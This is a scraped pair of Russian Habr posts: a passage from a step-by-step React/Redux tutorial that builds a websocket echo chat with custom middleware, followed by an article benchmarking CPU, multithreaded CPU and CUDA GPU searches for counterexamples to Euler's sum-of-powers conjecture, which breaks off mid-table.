'react'; добавляем проверку: static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool } объявляем и присваиваем переменные, переданные через props const {loaded, message, connected} = this.props; используем для вывода наши переменные value={'index =' + 0 + ', loaded = ' + loaded + ', message = ' + message + ', connected = ' + connected}/> {/* value=" index = 2, loaded = true, message = Connected, connected = true index = 1, loaded = false, message = Connecting..., connected = false"/> */} Проверяем и видим, initialState прилетает к нам прямо из redux->react->props->props. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/60ac05332e35dfdbc11b9415f5bf5c46cd740ba8 SocketExampleMessageLog Теперь переходим к компоненту SocketExampleMessageLog и сделаем его абсолютно самостоятельным, в смысле работы со стором. Мы не будем передавать в него никакие props, он будет получать все, что ему нужно из стор сам. Открываем файл ./src/components/SocketExampleComponents/SocketMessageLog.js в нем добавляем необходимые нам библиотеки import React, {Component, PropTypes} from 'react'; import {connect} from 'react-redux'; import * as socketExampleActions from 'redux/modules/socketexamplemodule'; добавляем connect , проверку типов и используем полученные данные @connect( state => ({ loaded: state.socketexample.loaded, message: state.socketexample.message, connected: state.socketexample.connected}), socketExampleActions) export default class SocketMessageLog extends Component { static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool } // ... Не забываем передать значение в метод render() через props const {loaded, message, connected} = this.props; Мы будем использовать loaded и connected , чтобы определять готовность к обмену сообщения, а message выведем просто для проверки. <ul> <li key="1" className="unstyled"> <span className="glyphicon glyphicon-arrow-right"> </span> {message} </li> <li key="2" className="unstyled"> <span className="glyphicon glyphicon-arrow-left"> </span> [ECHO] {message} </li> </ul> Я буду проверять переменные loaded и connected явно, чтобы быть более прозрачным для (возможных) потомков. <form className="form-inline"> <p></p> <div className="form-group"> <input className="form-control input-sm" type="text" ref="message_text" readOnly = {(loaded === true) ? false : true}></input> </div> <button className="btn btn-primary btn-sm" disabled = {(connected === true) ? false : true}> <i className="fa fa-sign-in"/> Send </button> </form> Полпути пройдено. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/a473d6a86262f2d2b52c590974e77df9454de5a1 . Часть четвертая. Оживляем историю В предыдущих частя мы все подготовили к тому, чтобы начать использовать стор. В этой части мы будем связывать события в react и состояния в стор. Начнем. Оживим историю подключений в нашем компоненте ./src/components/SocketExampleComponents/SocketConnectionLog.js . Но как мы помним, он ничего про стор не знает. Это означает, что он ничего не знает про экшены и поэтому ему их нужно передать через контейнер ./src/containers/SocketExample/SocketExamplePage.js . Просто передаем компоненту их как будто это простые props. Вообще все функции экшенов мы подключили через connect . Стоп. Подробней. Вспомним. //.... import * as socketExampleActions from 'redux/modules/socketexamplemodule'; //.... @connect( state => ({ loaded: state.socketexample.loaded, message: state.socketexample.message, connected: state.socketexample.connected}), socketExampleActions) Поэтому просто включаем их в проверку в файле ./src/containers/SocketExample/SocketExamplePage.js : static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, socketsConnecting: PropTypes.func, socketsDisconnecting: PropTypes.func } и передаем в наш компонент render() { const {loaded, message, connected, socketsConnecting, socketsDisconnecting} = this.props; return ( <div className="container"> <h1>Socket Exapmle Page</h1> <Helmet title="Socket Exapmle Page"/> <SocketConnectionLog loaded={loaded} message={message} connected={connected} connectAction={socketsConnecting} disconnectAction={socketsDisconnecting}/> <SocketMessageLog/> </div> ); } Теперь давайте обеспечим прием преданных в компонент экшенов в файле ./src/components/SocketExampleComponents/SocketConnectionLog.js . Мы будем добавлять их (экшены) в проверку и использовать в наших обработчиках действий на форме. Обработчиков сделаем два: по клику кнопки "Connect" и "Disconnect". static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, connectAction: PropTypes.func, disconnectAction: PropTypes.func } handleConnectButton = (event) => { event.preventDefault(); this.props.connectAction(); } handleDisconnectButton = (event) => { event.preventDefault(); this.props.disconnectAction(); } Прописываем вызов обработчиков функций по нажатию соответствующих кнопок. render() { const {loaded, message, connected} = this.props; return ( <div> <h3>Socket connection log</h3> <textarea className="form-control" rows="1" readOnly placeholder="Waiting ..." value={'index =' + 0 + ', loaded = ' + loaded + ', message = ' + message + ', connected = ' + connected}/> {/* value=" index = 2, loaded = true, message = Connected, connected = true index = 1, loaded = false, message = Connecting..., connected = false"/> */} <button className="btn btn-primary btn-sm" onClick={this.handleDisconnectButton}> <i className="fa fa-sign-in"/> Connect </button> <button className="btn btn-danger btn-sm" onClick={this.handleConnectButton}> <i className="fa fa-sign-out"/> Disconnect </button> </div> ); Запускаем. Проверяем. Ура, оно живо! Можно посмотреть в DevTools, что события создаются в сторе. Если внимательно проследить как меняются состояния, то можно заметить, что компонент истории сообщений работает как-то не так (хотя он написан правильно). Дело в том, что при нажатии кнопки подключения у нас состояние connected = false, а при разрыве подключения у нас состояние connected = true. Давай-те поправим. Для этого в файле ./src/redux/modules/socketexamplemodule.js правим странные строчки case SOCKETS_CONNECTING: return Object.assign({}, state, { loaded: true, message: 'Connecting...', connected: true }); case SOCKETS_DISCONNECTING: return Object.assign({}, state, { loaded: true, message: 'Disconnecting...', connected: false }); Ну теперь все работает правильно. НО далее мы поменяем эти значения на исходные, это важный момент. Событие попытки подключения не тождественно состоянию подключено (да я кэп). Реализуем историю подключения. Главное ограничение принцип работы самого стора. Мы нее можем изменять само состояние, но мы можем его целиком пересоздавать и присваивать. Поэтому чтобы накапливать историю мы будем ее копировать, прибавлять к копии текущее состояние и присваивать это значение оригиналу (с которого сняли копию). case SOCKETS_CONNECTING: return Object.assign({}, state, { loaded: true, message: 'Connecting...', connected: true, history: [ ...state.history, { loaded: true, message: 'Connecting...', connected: true } ] }); case SOCKETS_DISCONNECTING: return Object.assign({}, state, { loaded: true, message: 'Disconnecting...', connected: false, history: [ ...state.history, { loaded: true, message: 'Disconnecting...', connected: false } ] }); Делаем отображение в том же элементе. Прежде всего передаем переменную истории через props в файле ./src/containers/SocketExample/SocketExamplePage.js . Далее в файле ./src/components/SocketExampleComponents/SocketConnectionLog.js принимает переданную переменную. Приступим в файле ./src/containers/SocketExample/SocketExamplePage.js забираем из стора: @connect( state => ({ loaded: state.socketexample.loaded, message: state.socketexample.message, connected: state.socketexample.connected, history: state.socketexample.history }), socketExampleActions) проверяем на тип static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, history: PropTypes.array, socketsConnecting: PropTypes.func, socketsDisconnecting: PropTypes.func } присваиваем и передаем render() { const {loaded, message, connected, socketsConnecting, socketsDisconnecting, history} = this.props; return ( <div className="container"> <h1>Socket Exapmle Page</h1> <Helmet title="Socket Exapmle Page"/> <SocketConnectionLog loaded={loaded} message={message} connected={connected} connectAction={socketsConnecting} disconnectAction={socketsDisconnecting} history={history}/> <SocketMessageLog/> </div> ); Принимаем уже в файле ./src/components/SocketExampleComponents/SocketConnectionLog.js . static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, history: PropTypes.array, connectAction: PropTypes.func, disconnectAction: PropTypes.func } Для вывода истории в лог нам уже на самом деле не требуются текущие значения loaded , message , connected . Давайте выведем в историю в обратной хронологии, так чтобы актуально состояние всегда было сверху. render() { const {history} = this.props; return ( <div> <h3>Socket connection log</h3> <textarea className="form-control" rows="1" readOnly placeholder="Waiting ..." value={ history.map((historyElement, index) => 'index = ' + index + ' loaded = ' + historyElement.loaded.toString() + ' message = ' + historyElement.message.toString() + ' connected = ' + historyElement.connected.toString() + ' \n').reverse() }/> <button className="btn btn-primary btn-sm" onClick={this.handleConnectButton}> <i className="fa fa-sign-in"/> Connect </button> <button className="btn btn-danger btn-sm" onClick={this.handleDisconnectButton}> <i className="fa fa-sign-out"/> Disconnect </button> </div> ); Главное, что нужно не забыть это добавить history при инициализации редюсера, иначе наши проверки не будут срабатывать. В файле ./src/redux/modules/socketexamplemodule.js . const initialState = { loaded: false, message: 'Just created', connected: false, history: [] }; Проверяем. И получаем нашу запись в истории подключения, но почему то с запятыми. Javascript, WTF? Ну да ладно, если мы добавим после мапа и реверса .join(''), то это все решает. ".join('') все решает.", Карл! Какой у нас результат? Читаем и пишем в стор! Можно себя похвалить! Но этого явно мало, ведь мы делаем это только внутри своей же собственной странички и никак не общаемся с внешним миром. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/24144226ea4c08ec1af5db3a5e9b37461be2dbdd Часть пятая. Проектируем чат У нас есть заготовка для подключения/отключения к сокету. Теперь мы должны сделать оболочку для чата, она станет нашим рабочем моделью (прототип у нас уже есть). С чатом мы выполним такие же действия, как и с логом (историей) подключений — добавим историю чата и научим ее выводить. Полный цикл будет выглядеть так: В редаксе нужно: объявить новую переменную и инициализировать, описать для нее экшены, описать как данная переменна будет изменяться. В компоненте нужно: принять эту переменную, включить ее в отображение, связать кнопку на интерфейсе и экшены. Настройка редюсера Начнем с файле ./src/redux/modules/socketexamplemodule.js нам нужно добавить новую переменную. const initialState = { loaded: false, message: 'Just created', connected: false, history: [], message_history: [] }; У нас уже есть экшены SOCKETS_MESSAGE_SENDING и SOCKETS_MESSAGE_RECEIVING . Дополнительных экшенов создавать не будет. Приступаем к описанию, как будет себя вести нам нужно просто описать как будет работать редюсер. case SOCKETS_MESSAGE_SENDING: return Object.assign({}, state, { loaded: true, message: 'Send message', connected: true, message_history: [ ...state.message_history, { direction: '->', message: action.message_send } ] }); case SOCKETS_MESSAGE_RECEIVING: return Object.assign({}, state, { loaded: true, message: 'Message receive', connected: true, message_history: [ ...state.message_history, { direction: '<-', message: action.message_receive } ] }); Обратите внимание на переменные переменный action.message_receive и action.message_send . С помощью них мы изменяем состояние нашего стора. Переменные будут передаваться внутри экшенов. Реализуем передачу переменных в стор из экшенов. export function socketsMessageSending(sendMessage) { return {type: SOCKETS_MESSAGE_SENDING, message_send: sendMessage}; } export function socketsMessageReceiving(sendMessage) { return {type: SOCKETS_MESSAGE_RECEIVING, message_receive: sendMessage}; } Остановимся. Откуда-то из кода мы будем запускать эти экшены и передавать им по одной переменной sendMessage или sendMessage . Чтобы запустить эти экшены мы можем использовать абсолютно разные способы, но в нашем случае мы будем запускать экшены по нажатию кнопок. Пока мы просто моделируем работу чата на стороне клиента и постепенно у нас получается модель будущего приложения. Мы выполнили работы со стороны редюсера и переходим к настройке отображения и управления из компонента. Настройка интерфейса Мы помним, как для истории подключения мы использовали возможности react и передачу информации из контейнера. В случае с сообщениями наш компонент сам по себе. Подключаем новую переменную, которую мы получаем из стора в файле ./src/components/SocketExampleComponents/SocketMessageLog.js . @connect( state => ({ loaded: state.socketexample.loaded, message: state.socketexample.message, connected: state.socketexample.connected, message_history: state.socketexample.message_history }), socketExampleActions) export default class SocketMessageLog extends Component { static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, message_history: PropTypes.array, socketsMessageSending: PropTypes.func } Теперь нам нужны функции, которые будут обрабатывать нажатия кнопок на форме. handleSendButton = (event) => { event.preventDefault(); this.props.socketsMessageSending(this.refs.message_text.value); this.refs.message_text.value = ''; } Подробнее, забираем по ссылке из поля message_text . Передаем message_text в наш экшен оправки сообщения. Стираем значение в этом поле для ввода нового. Добавляем переменную в props. const {loaded, connected, message_history} = this.props; Выводим лог сообщений, по аналогии с подключением <ul> { message_history.map((messageHistoryElement, index) => <li key={index} className={'unstyled'}> <span className={(messageHistoryElement.direction === '->') ? 'glyphicon glyphicon-arrow-right' : 'glyphicon glyphicon-arrow-left'}></span> {messageHistoryElement.message} </li> )} </ul> Не пытайтесь использовать более вложенные ветвления — это у вас не получится. Т.е. не пытайтесь использовать вложенные ' '?' ':' '. Вас будут от этого защищать. Причина — здесь не место вычислений данных. Здесь вообще про интерфейс. Обновляем форму и кнопки <form className="form-inline" onSubmit={this.handleSendButton}> <p></p> <div className="form-group"> <input className="form-control input-sm" type="text" ref="message_text" readOnly = {(loaded && connected === true) ? false : true}> </input> </div> <button className="btn btn-primary btn-sm" onClick={this.handleSendButton} disabled = {(connected === true) ? false : true}> <i className="fa fa-sign-in"/> Send </button> </form> Тестируем и видим отправленные сообщения. Давайте имитировать получение сообщения. Будем делать это в лоб. handleSendButton = (event) => { event.preventDefault(); this.props.socketsMessageSending(this.refs.message_text.value); this.props.socketsMessageReceiving(this.refs.message_text.value); this.refs.message_text.value = ''; } Подробнее, в дополнение к предыдущей версии мы вызывает экшен получения сообщения и передаем в него наше сообщение this.refs.message_text.value . Не забываем добавить новые элементы в проверку! static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, message_history: PropTypes.array, socketsMessageSending: PropTypes.func, socketsMessageReceiving: PropTypes.func } Отлично, скучная кропотливая часть закончилась! Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/5158391cdd53545408637fd732c981f17852e84b . Мидлваре Более подробно о мидлваре в редаксе можно почитать на официальном сайте http://redux.js.org/docs/advanced/Middleware.html . А еще вот та самая статья https://exec64.co.uk/blog/websockets_with_redux/ . Давайте создадим наш собственный мидлваре, в котором будем реализовывать интерфейс к сервису, построенному на websockets. Первый проход Создаем новый файл ./src/redux/middleware/socketExampleMiddleware.js В этот файл нам нужно добавить экшены, которыми мы будем манипулировать. По своему принципу мидлваре напоминает структуру редюсера, но этому будет проиллюстрировано ниже. Для начала просто проверяем, что концепция работает и делаем тестовый прототип, который будет подтверждением подхода. import * as socketExampleActions from 'redux/modules/socketexamplemodule'; export default function createSocketExampleMiddleware() { let socketExample = null; socketExample = true; socketExampleActions(); return store => next => action => { switch (action.type) { default: console.log(store, socketExample, action); return next(action); } }; } Подробнее. Вообще мидлваре управляет самим стором и как он обрабатывает события и состояния внутри себя. Использую конструкцию return store => next => action => мы вмешиваемся в каждый экшен происходящий в сторе и по полю switch (action.type) выполняем те или иные действия. У нас сейчас действительно простой пример и логирование в консоль самый просто способ посмотреть, что у нас прилетает в переменных store, socketExample, action . ( socketExampleActions(); оставили просто, чтобы не ругался валидатор, вообще они нам понадобятся в будущем). Не проверяем, у нас ничего не работает, потому что мы не подключили наш класс в мидлваре. Исправляем. В файле ./src/redux/create.js меняем пару строк. import createSocketExampleMiddleware from './middleware/socketExampleMiddleware'; //... const middleware = [ createMiddleware(client), reduxRouterMiddleware, thunk, createSocketExampleMiddleware() ]; Запускаем проверяем. Теперь в консоли полный беспорядок и это означает, что наш концепт работает! Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/7833a405be3445e58e8e672e9db03f8cfbfde022 Второй проход. Делаем лог историю. Мы проверили концепцию и готовы делать нашу боевую модель. Теперь будем подключаться к websockets. Здесь и далее даются варианты написания кода, которые иллюстрируют ход разработки. Эти примеры содержат преднамеренные ошибки, которые показывают основные технические проблемы и особенности, с которыми я столкнулся в рамках подготовительных работ. Добавляем в файл ./src/redux/middleware/socketExampleMiddleware.js функции, которыми будем обрабатывать события подключения и отключения. const onOpen = (token) => evt => { console.log('WS is onOpen'); console.log('token ' + token); console.log('evt ' + evt.data); }; const onClose = () => evt => { console.log('WS is onClose'); console.log('evt ' + evt.data); }; убираем лишние объявления (нужно удалить) socketExample = true; socketExampleActions(); добавляем наши редюсеры и убираем лишнее логирование. case 'SOCKETS_CONNECT': if (socketExample !== null) { console.log('SOCKETS_DISCONNECTING'); store.dispatch(socketExampleActions.socketsDisconnecting()); socket.close(); } console.log('SOCKETS_CONNECTING'); socketExample = new WebSocket('ws://echo.websocket.org/'); store.dispatch(socketExampleActions.socketsConnecting()); socketExample.onclose = onClose(); socketExample.onopen = onOpen(action.token); break; default: return next(action); Подробнее. Начинаем разбираться. Мы ловим событие SOCKETS_CONNECT , проверяем подключены ли мы, если нет то запускаем принудительное закрытие подключения, создаем новый веб сокет и добавляем ему методы onClose() и onOpen(action.token) . Понимает, что сейчас ничего не работает. Мы ловим экшен SOCKETS_CONNECT , которого у нас пока нет. Но у нас есть другой экшен SOCKETS_CONNECTING , почему бы не использовать его — меняем скрипт. case 'SOCKETS_CONNECTING': if (socketExample !== null) { console.log('SOCKETS_DISCONNECTING'); store.dispatch(SocketExampleActions.socketsDisconnecting()); socket.close(); } console.log('SOCKETS_CONNECTING'); socketExample = new WebSocket('ws://echo.websocket.org/'); store.dispatch(SocketExampleActions.socketsConnecting()); socketExample.onclose = onClose(); socketExample.onopen = onOpen(action.token); break; default: return next(action); !!! Внимание после этого скрипт будет находиться в бесконечном цикле — сохраните все или не нажимайте кнопку подключиться на этом этапе. Проверяем и видим, что все пошло не так. В консоли постоянные SOCKETS_CONNECTING и SOCKETS_DISCONNECTING . Закрываем вкладку или браузер. Подробнее. Мидлваре "слушает" стор на предмет экшенов store => next => action => и включается в обработку, когда находит свой экшен SOCKETS_CONNECTING . Далее по коду идет вызов экшена store.dispatch(SocketExampleActions.socketsConnecting()); , который в свою очередь вызывает экшен SOCKETS_CONNECTING , который ловит мидлваре и т.д. Вывод простой — экшены для мидлеваре должны быть всегда отдельными от экшенов, которые происходят на стороне клиентов. Как быть дальше. Наш вариант (я думаю он не один) будет таким: пользователь будет вызывать нажатием кнопки экшены мидлвара, который будет вызывать уже "интерфейсные" экшены. Что на практике будет означать SOCKETS_CONNECT вызывается пользователем при его обработке будет вызываться SOCKETS_CONNECTING , который будет уже обновлять стор и соответствующим образом представлять действие на стороне клиента. Давайте исправим все это. Во-первых, нам не хватает экшенов. Дополняем наши 2 экшена новыми в файле src\redux\modules\socketexamplemodule.js . export const SOCKETS_CONNECTING = 'SOCKETS_CONNECTING'; export const SOCKETS_CONNECT = 'SOCKETS_CONNECT'; export const SOCKETS_DISCONNECTING = 'SOCKETS_DISCONNECTING'; export const SOCKETS_DISCONNECT = 'SOCKETS_DISCONNECT'; И объявим функции они нам пригодятся. export function socketsConnecting() { return {type: SOCKETS_CONNECTING}; } export function socketsConnect() { return {type: SOCKETS_CONNECT}; } export function socketsDisconnecting() { return {type: SOCKETS_DISCONNECTING}; } export function socketsDisconnect() { return {type: SOCKETS_DISCONNECT}; } Теперь нужно дать возможность пользователю запускать данные действия. По идеи нужно лезть в ./src/components/SocketExampleComponents/SocketConnectionLog.jsр , но на самом деле управляющие функции ему передают через компонент react. Поэтому правим сначала ./src/containers/SocketExample/SocketExamplePage.js . static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, history: PropTypes.array, socketsConnecting: PropTypes.func, socketsDisconnecting: PropTypes.func, //HERE socketsConnect: PropTypes.func, socketsDisconnect: PropTypes.func } render() { //HERE const {loaded, message, connected, socketsConnecting, socketsDisconnecting, history, socketsConnect, socketsDisconnect} = this.props; return ( <div className="container"> <h1>Socket Exapmle Page</h1> <Helmet title="Socket Exapmle Page"/> <SocketConnectionLog loaded={loaded} message={message} connected={connected} connectAction={socketsConnecting} disconnectAction={socketsDisconnecting} history={history} //HERE connectAction={socketsConnect} disconnectAction={socketsDisconnect} /> <SocketMessageLog/> </div> ); } Возвращаемся к ./src/redux/middleware/SocketExampleMiddleware.js и наводим порядок. Изменяем один кейс case 'SOCKETS_CONNECT': Добавляем кейс на обработку отключения: case 'SOCKETS_DISCONNECT': if (socketExample !== null) { console.log('SOCKETS_DISCONNECTING'); store.dispatch(socketExampleActions.socketsDisconnecting()); socketExample.close(); } socketExample = null; break; Для того, чтобы иметь возможность запускать пользовательские экшены при событии disconnect передаем в системное событие также сам стор. socketExample.onclose = onClose(store); и изменяем сам обработчик const onClose = (store) => evt => { console.log('WS is onClose'); console.log('evt ' + evt.data); store.dispatch(socketExampleActions.socketsDisconnect()); }; Ну вроде все — проверяем. Нужно использовать закладку Network или ее аналог в вашем браузере, чтобы увидеть подключения к веб сокетам. Для тестирования давайте проверим, что будет если мы на самом деле не смогли подключиться к сокетам. socketExample = new WebSocket('ws://echo.websocket.org123/'); Подробнее. Эта проверка связана с тем, что обработка событий у нас идет в асинхронном режиме. Мы не знаем в каком порядке от сокета нам будут прилетать события — последовательно, в обратном порядке или парами. Наш код должен быть способным корректно обрабатывать любые варианты. Попробуйте самостоятельно переместить store.dispatch(socketExampleActions.socketsDisconnect()); из метода onClose в кейс редюсера и посмотреть что же изменится. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/7569536048df83f7e720b000243ed9798308df20 Проход второй. Делаем сообщения Все аналогично первой части второго прохода. Добавляем экшены в ./src/redux/modules/socketexamplemodule.js export const SOCKETS_MESSAGE_SENDING = 'SOCKETS_MESSAGE_SENDING'; export const SOCKETS_MESSAGE_SEND = 'SOCKETS_MESSAGE_SEND'; export const SOCKETS_MESSAGE_RECEIVING = 'SOCKETS_MESSAGE_RECEIVING'; export const SOCKETS_MESSAGE_RECEIVE = 'SOCKETS_MESSAGE_RECEIVE'; Добавляем обработчики export function socketsMessageSending(sendMessage) { return {type: SOCKETS_MESSAGE_SENDING, message_send: sendMessage}; } export function socketsMessageSend(sendMessage) { return {type: SOCKETS_MESSAGE_SEND, message_send: sendMessage}; } export function socketsMessageReceiving(receiveMessage) { return {type: SOCKETS_MESSAGE_RECEIVING, message_receive: receiveMessage}; } Стоп. Почему не 4 обработчика? Подробнее. Нам, на самом деле, нам не нужна обработка socketsMessageReceive, потому что пользователю не нужно вмешиваться в процесс получения сообщения. Хотя на будущее этим событием мы можем отмечать факт отображения сообщения у пользователя в его интерфейсе, т.е. тот самый признак "прочитано" (но это за пределами этой статьи). Прием сообщения Переходим к описанию обработки событий от сокета в файле ./src/redux/middleware/socketExampleMiddleware.js . В нашем обработчике получаем событие от сокета, извлекаем из него сообщение и передаем в стор через экшен. const onMessage = (ws, store) => evt => { // Parse the JSON message received on the websocket const msg = evt.data; store.dispatch(SocketExampleActions.socketsMessageReceiving(msg)); }; case 'SOCKETS_CONNECT': if (socketExample !== null) { console.log('SOCKETS_DISCONNECTING'); store.dispatch(SocketExampleActions.socketsDisconnecting()); socket.close(); } console.log('SOCKETS_CONNECTING'); socketExample = new WebSocket('wss://echo.websocket.org/'); store.dispatch(SocketExampleActions.socketsConnecting()); socketExample.onmessage = onMessage(socketExample, store); socketExample.onclose = onClose(store); socketExample.onopen = onOpen(action.token); break; Отправка сообщения В самом мидлваре пишем редюсер. case 'SOCKETS_MESSAGE_SEND': socketExample.send(action.message_send); store.dispatch(SocketExampleActions.socketsMessageSending(action.message_send)); break; Подробнее. action.message_send — это о чем? Все, что мы кладем в стор появляется в процессе обработки store => next => action => в этих переменных. Когда мы запускаем экшен, то в этой переменной передается все с чем мы этот экшен запустили. Давайте реализуем как в экшене появится сообщение. Правим файл ./src/components/SocketExampleComponents/SocketMessageLog.js , чтобы получить возможность запускать экшен от пользователя. static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool, message_history: PropTypes.array, socketsMessageSend: PropTypes.func } Да, нам не нужны экшены получения и отправки, мы будем их запускать из мидлваре. handleSendButton = (event) => { event.preventDefault(); this.props.socketsMessageSend(this.refs.message_text.value); this.refs.message_text.value = ''; } Подробнее. Мы получим новые сообщения сразу их стора по факту в переменной message_history и react на сразу отрисует их. Для того, чтобы отправить сообщение мы вызываем экщен мидлваре this.props.socketsMessageSend(this.refs.message_text.value) , тем самым в action мы передаем наше сообщение, которое обрабывается редюсером мидлваре SOCKETS_MESSAGE_SEND , который в свою очередь вызывает событие SOCKETS_MESSAGE_SENDING , которое обрабатывается и отрисовывается интефейсным редюсером. Запускаем. Проверяем. Финиш! [Заметки на полях] Оглянитесь, вспомните себя в начале этой статьи. Сейчас вы сможете развернуть и быстро создать интерфейс к вашему бэкэнду с получением и обработкой данных в реальном времени. Если у вас появились интересные задумки, не откладывайте — делайте. [Заметки на полях] А вдруг я это все не зря. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/40fd0b38f7a4b4acad141997e1ad9e7d978aa3b3 PS Рабочая копия данного материала размещена тут .
https://habrahabr.ru/post/318148/
habrahabr
Многопоточная сказка о потерянном времени
['с++', 'cuda', 'pgo']
В публикации «Сказка о потерянном времени» пользователь crea7or рассказал, как он опровергал Гипотезу Эйлера на современном CPU. Мне же было интересно узнать как покажет себя GPU, и я сравнил...
В публикации «Сказка о потерянном времени» пользователь crea7or рассказал, как он опровергал Гипотезу Эйлера на современном CPU. Мне же было интересно узнать как покажет себя GPU, и я сравнил однопоточный код с многопоточным для CPU и совсем многопоточным для GPU, с помощью архитектуры параллельных вычислений CUDA . Железо и компиляторы CPU Core i5 4440 GPU GeForce GTX 770 MSVS 2015 update 3 tookit CUDA 8 . Конечно, сборка была релизная и 64 битная, с оптимизацией /02 и /LTCG. Отключение сброса видеоадаптера Так как вычисления длятся более двух секунд, видеодрайвер завершает CUDA-программу. Чтобы этого не происходило, нужно указать достаточное время до сброса через ключ реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\TdrDelay и перезагрузить компьютер. CPU Для начала я распараллелил алгоритм для CPU. Для этого в функцию передается диапазон для перебора значений внешнего цикла a . Затем весь диапазон 1..N разбивается на кусочки и скармливается ядрам процессора. void Algorithm_1(const uint32_t N, const std::vector<uint64_t>& powers, const uint32_t from, const uint32_t to) { for (uint32_t a = from; a < to; ++a) { for (uint32_t b = 1; b < a; ++b) { for (uint32_t c = 1; c < b; ++c) { for (uint32_t d = 1; d < c; ++d) { const uint64_t sum = powers[a] + powers[b] + powers[c] + powers[d]; if (std::binary_search(std::begin(powers), std::end(powers), sum)) { const auto it = std::lower_bound(std::begin(powers), std::end(powers), sum); uint32_t e = static_cast<uint32_t>(std::distance(std::begin(powers), it)); std::cout << a << " " << b << " " << c << " " << d << " " << e << "\n"; } } } } } } В моем случае было 4 ядра, и вычисления я выполнял через чуть-чуть доработанный пул потоков, который взял за основу тут . Так как никаких зависимостей между данными нет, скорость возрастает практически пропорционально количеству ядер. GPU Для GPU получается немного сложнее. Внешние два цикла перебора ( a и b ) будут развернуты, а в функции останется только перебор двух внутренних циклов ( c и d ). Можно себе представить что программа будет выполняться параллельно для всех значений а = 1..N и b = 1..N. На самом деле конечно это не так, все исполняться параллельно они все-таки не смогут, но это уже забота CUDA максимально распараллелить выполнение, этому можно помочь, если правильно настроить конфигурацию блоков и потоков. Блоки и потоки int blocks_x = N; int threads = std::min(1024, static_cast<int>(N)); int blocks_y = (N + threads - 1) / threads; dim3 grid(blocks_x, blocks_y); NaiveGPUKernel<<<grid, threads>>>(N); blocks_x — это диапазон перебора первого цикла a . А вот перебор второго цикла b пришлось сделать сложнее из-за ограничения видеокарты на количество потоков (1024), и поместить счетчик одновременно в threads и blocks_y : a и b вычисляется так: const int a = blockIdx.x + 1; const int b = threadIdx.x + blockIdx.y * blockDim.x + 1; Это точно не оптимальная конфигурация, так как получается много холостых циклов. Но дальше подстраивать значения я не стал. Код для GPU получается вполне прямолинейный и очень похожий на CPU, только бинарный поиск приходится сделать руками. __constant__ uint64_t gpu_powers[8192]; inline __device__ int gpu_binary_search(const uint32_t N, const uint64_t search) { uint32_t l = 0; uint32_t r = elements_count - 1; uint32_t m; while (l <= r) { m = (l + r) / 2; if (search < gpu_powers[m]) r = m - 1; else if (search > gpu_powers[m]) l = m + 1; else return l; } return -1; } __global__ void NaiveGPUKernel(const uint32_t N) { const int a = blockIdx.x + 1; const int b = threadIdx.x + blockIdx.y * blockDim.x + 1; if (b >= a) return; for (uint32_t c = 1; c < b; ++c) { for (uint32_t d = 1; d < c; ++d) { const uint64_t sum = gpu_powers[a] + gpu_powers[b] + gpu_powers[c] + gpu_powers[d]; const auto s = gpu_binary_search(N, sum); if (s > 0) { printf("%d %d %d %d %d\n", a, b, c, d, s); } } } } Так же я реализовал оптимизации, подсказанные тут . Замеры скорости Замеры для CPU делались по два раза, так как они оказались намного стабильнее GPU, которых я делал уже по семь и выбирал лучшее время. Разброс для GPU мог быть двукратным, это я объясняю тем что для CUDA-расчетов использовался единственный в системе видеоадаптер. N CPU время, мс CPU (4 потока) время, мс GPU время, мс @antonkrechetov 100 58.6 16.7 14.8 Базовый 100 45.3 13.0 10.7 Базовый оптимизация #1 100 6.3 2.1 12.7 Базовый оптимизация #2 100 1.4 0.7 0.8 @antonkrechetov 250 2999.7 782.9 119.0 Базовый 250 2055.6 550.1 90.9 Базовый оптимизация #1 250 227.2 60.3 109.2 Базовый оптимизация #2 250 42.9 11.9 6.0 @antonkrechetov 500 72034.2 19344.1 1725.83 Базовый 500 38219.7 10200.8 976.7 Базовый оптимизация #1 500 3725.1 926.5 1140.36 Базовый оптимизация #2 500 630.7 170.2 48.7 @antonkrechetov 750 396566.0 105003.0 11521.2 Базовый 750 218615.0 57639.2 5742.5 Базовый оптимизация #1 750 19082.7 4736.8 6402.1 Базовый оптимизация #2 750 3272.0 846.9 222.9 Базовый оптимизация #2 1000 10204.4 2730.3 1041.9 Базовый оптимизация #2 1250 25133.1 6515.3 2445.5 Базовый оптимизация #2 1500 51940.1 14005.0 4895.2 А теперь вколем немного адреналина в CPU! И этим адреналином будет Profile-guided optimization . Для PGO я привожу только время CPU, потому что GPU мало изменилось, и это ожидаемо. N CPU время, мс CPU (4 потока) время, мс CPU+PGO время, мс CPU+PGO (4 потока) время, мс @antonkrechetov 100 58.6 16.7 55.3 15.0 Базовый 100 45.3 13.0 42.2 12.1 Базовый оптимизация #1 100 6.3 2.1 5.2 1.9 Базовый оптимизация #2 100 1.4 0.7 1.3 0.8 @antonkrechetov 250 2999.7 782.9 2966.1 774.1 Базовый 250 2055.6 550.1 2050.2 544.6 Базовый оптимизация #1 250 227.2 60.3 200.0 53.2 Базовый оптимизация #2 250 42.9 11.9 40.4 11.4 @antonkrechetov 500 72034.2 19344.1 68662.8 17959.0 Базовый 500 38219.7 10200.8 38077.7 10034.0 Базовый оптимизация #1 500 3725.1 926.5 3132.9 822.2 Базовый оптимизация #2 500 630.7 170.2 618.1 160.6 @antonkrechetov 750 396566.0 105003.0 404692.0 103602.0 Базовый 750 218615.0 57639.2 